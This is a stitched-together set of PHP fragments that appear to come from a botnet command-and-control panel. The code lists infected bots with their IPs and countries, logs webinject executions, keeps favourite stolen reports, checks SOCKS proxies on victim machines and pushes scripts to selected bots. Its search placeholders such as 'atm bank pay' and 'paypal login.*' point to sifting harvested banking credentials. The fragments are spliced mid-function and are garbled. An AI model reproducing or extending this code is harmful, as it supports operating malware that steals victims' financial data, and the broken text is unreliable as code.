function actionIndex($botId = null) { ThemeBegin(LNG_MM_REPORTS_IMAGES, 0, getBotJsMenu('botmenu'), 0); $onfinish = '?m=reports_images/ajaxGallery/'; $onfinish .= '&date=' . date('Y-m-d'); if (!empty($botId)) { $onfinish .= '&botId=' . rawurlencode($botId); } echo '<div id="preparing" style="display: none;" data-onfinish="', $onfinish, '">', LNG_UPDATING_DATABASE, '<img src="theme/throbber.gif" />', '</div>'; echo <<<HTML \t\t<h2 align=right id="date-sort"><a href="{$onfinish}&feedMode=0">Sort:Date</a></h2> \t\t<div id="gallery"></div> \t\t<script src="theme/video/colorbox/colorbox/jquery.colorbox-min.js"></script> \t\t<link rel="stylesheet" href="theme/video/colorbox/example1/colorbox.css" type="text/css" media="screen"> \t\t<script src="theme/js/page-reports_images.js"></script> \t\t<script src="theme/js/jPager3k/jPager3k.js"></script> \t\t<link rel="stylesheet" href="theme/js/jPager3k/jPager3k.css" type="text/css" media="screen"> \t\t<link rel="stylesheet" href="theme/js/jPager3k/jPager3k-default.css" type="text/css" media="screen"> HTML; ThemeEnd(); }
function actionIndex() { ThemeBegin(LNG_MM_REPORTS_FAV, 0, getBotJsMenu('botmenu'), 0); $db = dbPDO::singleton(); // Query: favorite bots $q = $db->query('SELECT `b`.`bot_id` AS `botId`, `b`.`comment` AS `bot_comment`, UNIX_TIMESTAMP() - `b`.rtime_last AS `bot_online_time` FROM `botnet_list` `b` WHERE `b`.`favorite`=1 ORDER BY `rtime_last` DESC ;'); if (1 || $q->rowCount()) { echo '<table id="favorite-bots-list" class="lined zebra">', '<caption>', 'Bots', '</caption>', '<THEAD><tr>', '<th>', 'Bot Id', '</th>', '<th>', 'Comment', '</th>', '</tr></THEAD>', '<TBODY>'; while ($bot = $q->fetchObject()) { $bot_online = $bot->bot_online_time && $bot->bot_online_time <= $GLOBALS['config']['botnet_timeout']; echo '<tr data-botid="', htmlentities($bot->botId), '">', '<th>', botPopupMenu($bot->botId, 'botmenu', $bot->bot_comment, $bot_online), '</th>', '<td>', htmlspecialchars($bot->bot_comment), '</td>', '</tr>'; } echo '</TBODY></table>'; } // Query: favorite reports $q = $db->prepare(' SELECT `fav`.`id`, `fav`.`table`, `fav`.`report_id`, `fav`.`botId`, `fav`.`rtime`, `fav`.`path_source`, `fav`.`favtime`, `fav`.`comment`, UNIX_TIMESTAMP() - `b`.rtime_last AS `bot_online_time`, `b`.`comment` AS `bot_comment` FROM `botnet_rep_favorites` `fav` LEFT JOIN `botnet_list` `b` ON(`fav`.`botId` = `b`.`bot_id`) WHERE `fav`.`favorite`>=0 ORDER BY `favtime` DESC '); $q->setFetchMode(PDO::FETCH_OBJ); $q->execute(); // Display echo '<table id="favorite-reports-list" class="lined zebra">', '<caption>', 'Reports', '</caption>', '<THEAD><tr>', '<th>', LNG_REPORTS_TH_BOT_REPORT, '</th>', '<th>', LNG_REPORTS_TH_RTIME, '</th>', '<th>', LNG_REPORTS_TH_COMMENT, '</th>', '</tr></THEAD>', '<TBODY>'; foreach ($q as $report) { $bot_online = $report->bot_online_time && $report->bot_online_time <= $GLOBALS['config']['botnet_timeout']; $report_url = sprintf('?m=reports_db&t=%s&id=%s', $report->table, $report->report_id); echo '<tr data-ajax="id=', $report->id, '">'; echo '<th>', botPopupMenu($report->botId, 'botmenu', $report->bot_comment, $bot_online), '<a class="report" href="', $report_url, '" target="_blank">[+] ', htmlspecialchars(empty($report->path_source) ? date('d.m.Y H:i:s', $report->rtime) : $report->path_source), '</a>', '</th>'; echo '<td class="rtime">', date('d.m.Y H:i:s', $report->rtime), '</td>'; echo '<td class="comment" contentEditable="false">', str_replace("\n", '<p>', htmlspecialchars($report->comment)), '</td>'; echo '</tr>'; } echo '</TBODY>', '</table>'; echo LNG_HINT_CONTEXT_MENU; echo <<<HTML \t\t<link rel="stylesheet" href="theme/js/contextMenu/src/jquery.contextMenu.css" /> \t\t<script src="theme/js/contextMenu/src/jquery.contextMenu.js"></script> \t\t<script src="theme/js/contextMenu/src/jquery.ui.position.js"></script> \t\t<script src="theme/js/page-reports_fav.js"></script> HTML; }
/** Execution logs list page * @param int $page */ function actionExecLogs($page = 1) { ThemeBegin(LNG_MM_BOTNET_WEBINJECTS, 0, getBotJsMenu('botmenu'), 0); $PAGER = new Paginator($page, 50); $q_logs = $this->db->prepare('SELECT SQL_CALC_FOUND_ROWS `b`.`bid`, `b`.`name` AS `b_name`, `b`.`mtime` AS `b_mtime`, `h`.`botId`, `h`.`etime`, `h`.`exec_count`, `h`.`exec_error`, `h`.`debug_error` FROM `botnet_webinjects_history` `h` LEFT JOIN `botnet_webinjects_bundle` `b` USING(`bid`) ORDER BY `h`.`etime` IS NULL DESC, `b`.`mtime` DESC, `h`.`etime` DESC LIMIT :limit, :perpage ;'); $PAGER->pdo_limit($q_logs, ':limit', ':perpage'); $q_logs->execute(); $PAGER->total($this->db->found_rows()); echo '<table id="exec-logs" class="zebra lined">'; echo '<THEAD>', '<tr>', '<th>', 'BotId', '</th>', '<th>', 'Bundle', '</th>', '<th>', 'State', '</th>', '<th>', 'Exec count', '</th>', '<th>', 'Exec time', '</th>', '<th>', 'Exec error', '</th>', '<th>', 'Debug error', '</th>', '</tr>', '</THEAD>'; echo '<TBODY>'; while ($log = $q_logs->fetchObject()) { $state = (int) is_null($log->etime) . (int) is_null($log->exec_error) . (int) is_null($log->debug_error); switch ($state) { case '111': $state_text = 'pending'; break; case '011': $state_text = 'success'; break; case '001': $state_text = 'exec error'; break; case '010': $state_text = 'bot error'; break; default: $state_text = '???'; break; } echo '<tr class="state' . $state . '">'; echo '<th>', htmlentities($log->botId), '</th>'; echo '<td>', htmlentities($log->b_name), '</td>'; echo '<td>', $state_text, '</td>'; # Exec count echo '<td>', is_null($log->exec_count) ? '-' : $log->exec_count, '</td>'; # Exec time echo '<td>', is_null($log->etime) ? date('H:i:s d.m.Y', $log->b_mtime) : timeago(time() - $log->etime), '</td>'; # Exec error echo '<td>', is_null($log->exec_error) ? '' : '<div class="exec_error">' . htmlentities($log->exec_error) . '</div>', '</td>'; # Debug error echo '<td>', is_null($log->debug_error) ? '' : '<div class="debug_error">' . htmlentities($log->debug_error) . '</div>', '</td>'; echo '</tr>'; } echo '</TBODY>'; echo '</table>'; echo $PAGER->jPager3k(mkuri(1, 'm') . '&page=%page%', null, 'paginator'); echo <<<HTML \t\t<script src="theme/js/jPager3k/jPager3k.js"></script> \t\t<link rel="stylesheet" href="theme/js/jPager3k/jPager3k.css"> \t\t<link rel="stylesheet" href="theme/js/jPager3k/jPager3k-default.css"> HTML; ThemeEnd(); }
function SocksCheck(i) { if(socksHttp)delete socksHttp; if(i < socksList.length) { {$ajaxInit} if(socksHttp) { socksHttp.onreadystatechange = function(){stateChange(i)}; socksHttp.open('GET', '{$q}&ipv4=' + socksList[i][1] + '&port=' + socksList[i][2], true); socksHttp.send(null); } } } JS_SCRIPT; themeSmall(LNG_BA_PORT_SOCKS_TITLE, $data . THEME_LIST_END, $ajax, getBotJsMenu('botmenu'), ' onload="SocksCheck(0);"'); } else { if (strcmp($ba, 'newscript') === 0) { foreach ($blist as $k => $v) { if (spaceCharsExist($v)) { $blist[$k] = '"' . $v . '"'; } } header('Location: ' . QUERY_STRING_BLANK . 'botnet_scripts&new=-1&bots=' . urlencode(implode(' ', $blist))); die; } } } } } }
} $themeText = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1; $themeNum = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1; $themeCb = $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1; $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('bots[]', htmlEntitiesEx($mt[0]), ''), $themeCb) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(++$offset)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($mt[0], 'botmenu')), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[1])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($mt[2])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ipv4), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[5])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $mt[7] == 1 ? tickCountToText(CURRENT_TIME - $mt[6]) : LNG_FORMAT_NOTIME), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsFloat($mt[8] / 1000, 3)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($mt[9]) ? '-' : htmlEntitiesEx($mt[9])), $themeText) . THEME_LIST_ROW_END; $i++; } } /////////////////////////////////////////////////////////////////////////////////////////////////// // Создание списока дейтвий. /////////////////////////////////////////////////////////////////////////////////////////////////// $actions = ''; if ($pageCount > 0 && count($botMenu) > 0) { $data = LNG_BOTNET_BOTSACTION . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('botsaction', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN); foreach ($botMenu as $item) { $data .= str_replace(array('{VALUE}', '{TEXT}'), array($item[0], $item[1]), THEME_DIALOG_ITEM_LISTBOX_ITEM); } $data .= THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_ACTION_APPLY, ''), THEME_DIALOG_ITEM_ACTION_SUBMITMINI); $actions = THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', $data, THEME_DIALOG_ITEM_TEXT) . THEME_DIALOG_ROW_END; } /////////////////////////////////////////////////////////////////////////////////////////////////// // Вывод. /////////////////////////////////////////////////////////////////////////////////////////////////// define('INPUT_WIDTH', '250px'); //Ширина input.text. define('SELECT_WIDTH', '250px'); //Ширина select. ThemeBegin(LNG_BOTNET, $jsScript, getBotJsMenu('botmenu'), 0); echo str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('filter', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_BEGIN) . FORM_CURRENT_MODULE . str_replace('{WIDTH}', 'auto', THEME_DIALOG_BACKGROUNDS) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_TITLE), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_BOTS, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'bots', htmlEntitiesEx($filter['bots']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_BOTNETS, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'botnets', htmlEntitiesEx($filter['botnets']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_IPS, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'ips', htmlEntitiesEx($filter['ips']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_COUNTRIES, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'countries', htmlEntitiesEx($filter['countries']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_GROUP_END . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_NAT, THEME_DIALOG_ITEM_TEXT) . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace(array('{NAME}', '{WIDTH}'), array('nat', SELECT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_FILTER_ALL), $filter['nat'] == 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_FILTER_NAT_OUTSIDE), $filter['nat'] == 1 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_NAT_INSIDE), $filter['nat'] == 2 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_ONLINE, THEME_DIALOG_ITEM_TEXT) . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace(array('{NAME}', '{WIDTH}'), array('online', SELECT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_FILTER_ALL), $filter['online'] == 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_FILTER_ONLINE_ONLINE), $filter['online'] == 1 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_ONLINE_OFFLINE), $filter['online'] == 2 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_NEW, THEME_DIALOG_ITEM_TEXT) . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace(array('{NAME}', '{WIDTH}'), array('new', SELECT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_FILTER_ALL), $filter['new'] == 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_FILTER_NEW_TRUE), $filter['new'] == 1 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_NEW_FALSE), $filter['new'] == 2 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_USED, THEME_DIALOG_ITEM_TEXT) . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace(array('{NAME}', '{WIDTH}'), array('used', SELECT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_FILTER_ALL), $filter['used'] == 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_FILTER_USED_TRUE), $filter['used'] == 1 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_USED_FALSE), $filter['used'] == 2 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_COMMENT, THEME_DIALOG_ITEM_TEXT) . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace(array('{NAME}', '{WIDTH}'), array('comment', SELECT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_FILTER_ALL), $filter['comment'] == 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_FILTER_COMMENT_TRUE), $filter['comment'] == 1 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_COMMENT_FALSE), $filter['comment'] == 2 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_GROUP_END . THEME_DIALOG_ROW_END . str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ACTIONLIST_BEGIN) . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_BOTNET_FILTER_RESET, ''), THEME_DIALOG_ITEM_ACTION_RESET) . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_BOTNET_FILTER_SUBMIT, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT) . THEME_DIALOG_ACTIONLIST_END . THEME_DIALOG_END . addSortModeToForm() . THEME_FORMGET_END . THEME_VSPACE . str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('botslist', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_TO_NEW_BEGIN) . str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, sprintf(LNG_BOTNET_LIST, numberFormatAsInt($botsCount))), THEME_DIALOG_TITLE) . $pageList . $actions . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', '100%', THEME_LIST_FRAME) . THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{JS_EVENTS}', '{WIDTH}'), array(1, 'checkall', 1, ' onclick="checkAll()"', 'auto'), THEME_LIST_HEADER_CHECKBOX_1) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}', '{WIDTH}'), array(1, '#', 'auto'), THEME_LIST_HEADER_R) . writeSortColumn(LNG_BOTNET_LIST_BOTID, 0, 0) . writeSortColumn(LNG_BOTNET_LIST_BOTNET, 1, 0) . writeSortColumn(LNG_BOTNET_LIST_VERSION, 2, 0) . writeSortColumn(LNG_BOTNET_LIST_IPV4, 3, 0) . writeSortColumn(LNG_BOTNET_LIST_CONTRY, 4, 0) . writeSortColumn(LNG_BOTNET_LIST_ONLINETIME, 5, 1) . writeSortColumn(LNG_BOTNET_LIST_LATENCY, 6, 1) . writeSortColumn(LNG_BOTNET_LIST_COMMENT, 7, 0) . THEME_LIST_ROW_END . $botsList . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END . THEME_FORMGET_END; ThemeEnd(); die;
if(datehttp) { datehttp.onreadystatechange = function(){stateChange(i)}; datehttp.open('GET', '{$q}&date=' + datelist[i][1], true); datehttp.send(null); } } } \$(function(){ \tSearchDate(0); \t}); JS_SCRIPT; } require 'system/lib/gui.php'; ThemeBegin(LNG_REPORTS, $js_script, getBotJsMenu('botmenu'), $_is_ajax_result ? ' ' : 0); // plugin:Connect if (class_exists('Plugin_Reports_DB_Connect')) { Plugin_Reports_DB_Connect::connection_picker(); } //Фильтр. echo str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('filter', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_BEGIN); if ($_allow_remove) { echo str_replace(array('{NAME}', '{VALUE}'), array('rm', 0), THEME_FORM_VALUE); } echo FORM_CURRENT_MODULE . str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_REPORTS_FILTER_TITLE), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . LNG_REPORTS_FILTER_DATE_P1 . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('date1', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . MakeDateList('date1', $rlist) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . LNG_REPORTS_FILTER_DATE_P2 . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('date2', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . MakeDateList('date2', $rlist) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . LNG_REPORTS_FILTER_DATE_P3 . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_FILTER_BOTS, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'bots', htmlEntitiesEx($filter['bots']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ITEM_MAXSPACE . str_replace('{TEXT}', LNG_REPORTS_FILTER_BOTNETS, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'botnets', htmlEntitiesEx($filter['botnets']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_FILTER_IPS, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'ips', htmlEntitiesEx($filter['ips']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ITEM_MAXSPACE . str_replace('{TEXT}', LNG_REPORTS_FILTER_COUNTRIES, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'countries', htmlEntitiesEx($filter['countries']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_GROUP_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_GROUP_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_FILTER_QUERY, THEME_DIALOG_ITEM_TEXT) . '<td><input type="text" name="q" value="' . htmlEntitiesEx($filter['q']) . '" maxlength="4096" placeholder="atm bank pay" style="width: ' . INPUTQ_WIDTH . '" />' . named_preset_picker('Reports.Search', '#filter input[name=q]') . '</td>' . THEME_DIALOG_ROW_END; echo THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_FILTER_QUERYSTOP, THEME_DIALOG_ITEM_TEXT) . '<td><input type="text" name="qstop" value="' . htmlEntitiesEx($filter['qstop']) . '" maxlength="4096" placeholder="mail.google.com twitter.com myspace.com" style="width: ' . INPUTQ_WIDTH . '" />' . named_preset_picker('Reports.SearchStop', '#filter input[name=qstop]') . '</td>' . THEME_DIALOG_ROW_END; //Строка поиска URL-mask echo THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_FILTER_URLMASKS, THEME_DIALOG_ITEM_TEXT) . '<td><input type="text" name="urlmask" value="' . htmlEntitiesEx($filter['urlmask']) . '" maxlength="4096" placeholder="paypal login.*" style="width: ' . INPUTQ_WIDTH . '" />' . '</td>' . THEME_DIALOG_ROW_END; if (!empty($GLOBALS['userData']['r_reports_db'])) { // full-featured access
if (!defined('__CP__')) { die; } # read the list of favorites $favorite_reports_list = array(); if ($s = @file_get_contents($favorite_reports = $config['reports_path'] . '/favorite.dat')) { if ($s = @unserialize($s)) { $favorite_reports_list = $s; } } $favorite_bots = array(); $fb_R = mysql_query('SELECT bot_id, comment FROM `botnet_list` WHERE `comment`<>"";'); while (!is_bool($fb_r = mysql_fetch_row($fb_R))) { $favorite_bots[$fb_r[0]] = $fb_r[1]; } ThemeBegin(LNG_REPORTS, 0, getBotJsMenu('botmenu'), 0); echo str_replace('{WIDTH}', '100%', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, LNG_REPORTS . THEME_STRING_SPACE), THEME_DIALOG_TITLE); echo '<tr><td>'; $do_search = count($_GET) > 1; # Botnets if (!isset($_GET['botnet'])) { $_GET['botnet'] = ''; } $botnets = array(); $botnet_select_options = '<option value="*">-- Any --</option>'; $R = mysql_query('SELECT DISTINCT `botnet` FROM `botnet_list` ORDER BY `botnet` ASC;'); while (!is_bool($r = mysql_fetch_row($R))) { $botnets[] = $botnet = $r[0]; $botnet_select_options .= sprintf('<option value="%s" %s>%s</option>', $botnet, $botnet == $_GET['botnet'] ? 'selected' : '', $botnet); } # Dates
} } //Создание списока дейтвий. $actions = ''; if ($bots_count > 0 && count($botMenu) > 0) { $actions = LNG_BOTNET_BOTSACTION . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('botsaction', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN); foreach ($botMenu as $item) { $actions .= str_replace(array('{VALUE}', '{TEXT}'), array($item[0], $item[1]), THEME_DIALOG_ITEM_LISTBOX_ITEM); } $actions .= THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_ACTION_APPLY, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT); $actions = THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', $actions, THEME_DIALOG_ITEM_TEXT) . THEME_DIALOG_ROW_END; } //Вывод таблицы. $data .= THEME_VSPACE . str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('reportslist', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_TO_NEW_BEGIN) . str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, sprintf(LNG_BOTNET_REPORTS, numberFormatAsInt($bots_count))), THEME_DIALOG_TITLE) . $page_list . $actions . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN) . THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{JS_EVENTS}', '{WIDTH}'), array(1, 'checkall', 1, ' onclick="checkAll()"', 'auto'), THEME_LIST_HEADER_CHECKBOX_1) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}', '{WIDTH}'), array(1, '#', 'auto'), THEME_LIST_HEADER_R) . writeSortColumn(LNG_BOTNET_REPORTS_RTIME, 0, 1) . writeSortColumn(LNG_BOTNET_REPORTS_TYPE, 1, 0) . writeSortColumn(LNG_BOTNET_REPORTS_BOTID, 2, 0) . writeSortColumn(LNG_BOTNET_REPORTS_VERSION, 3, 1) . writeSortColumn(LNG_BOTNET_REPORTS_REPORT, 4, 0) . THEME_LIST_ROW_END . $blist . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END . THEME_FORMGET_END; } themeSmall($is_view ? LNG_BOTNET_SCRIPT_EDIT : LNG_BOTNET_SCRIPT_NEW, $data, $js_script, getBotJsMenu('botmenu'), 0); die; } 